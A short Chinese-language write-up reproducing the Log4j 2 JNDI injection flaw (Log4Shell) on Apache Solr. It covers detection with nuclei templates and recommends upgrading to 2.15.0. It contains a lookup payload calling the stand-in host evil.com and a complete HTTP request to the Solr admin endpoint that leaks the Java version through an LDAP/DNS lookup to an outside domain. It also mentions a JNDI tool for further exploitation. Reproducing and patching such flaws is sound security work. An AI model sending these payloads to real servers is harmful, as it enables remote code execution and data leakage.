0x01 漏洞描述

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

0x02 漏洞复现

访问Apache Solr后台,使用如下请求即可触发漏洞,dnslog收到查询记录:

  1. GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
  2. Host: your-ip:8983
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  7. Connection: close

image.png
实际可以使用JNDI注入工具进行进一步利用:JNDI注入工具
image.png
image.png
image.png

0x03 漏洞发现

Apache Log4j 2是一个组件,使用很广泛所有没有具体的端口特征,根据不同的应用进行扫描,或者进行fuzz。对各大应用进行扫描,nuclei提供了一些模板。
image.png
使用其中Apache solr log4j模板测试复现环境:
image.png

0x04 修复建议

将 log4j-core 升级到 2.15.0 版本
ab688e60bcd079262a30107b36e2a64.jpg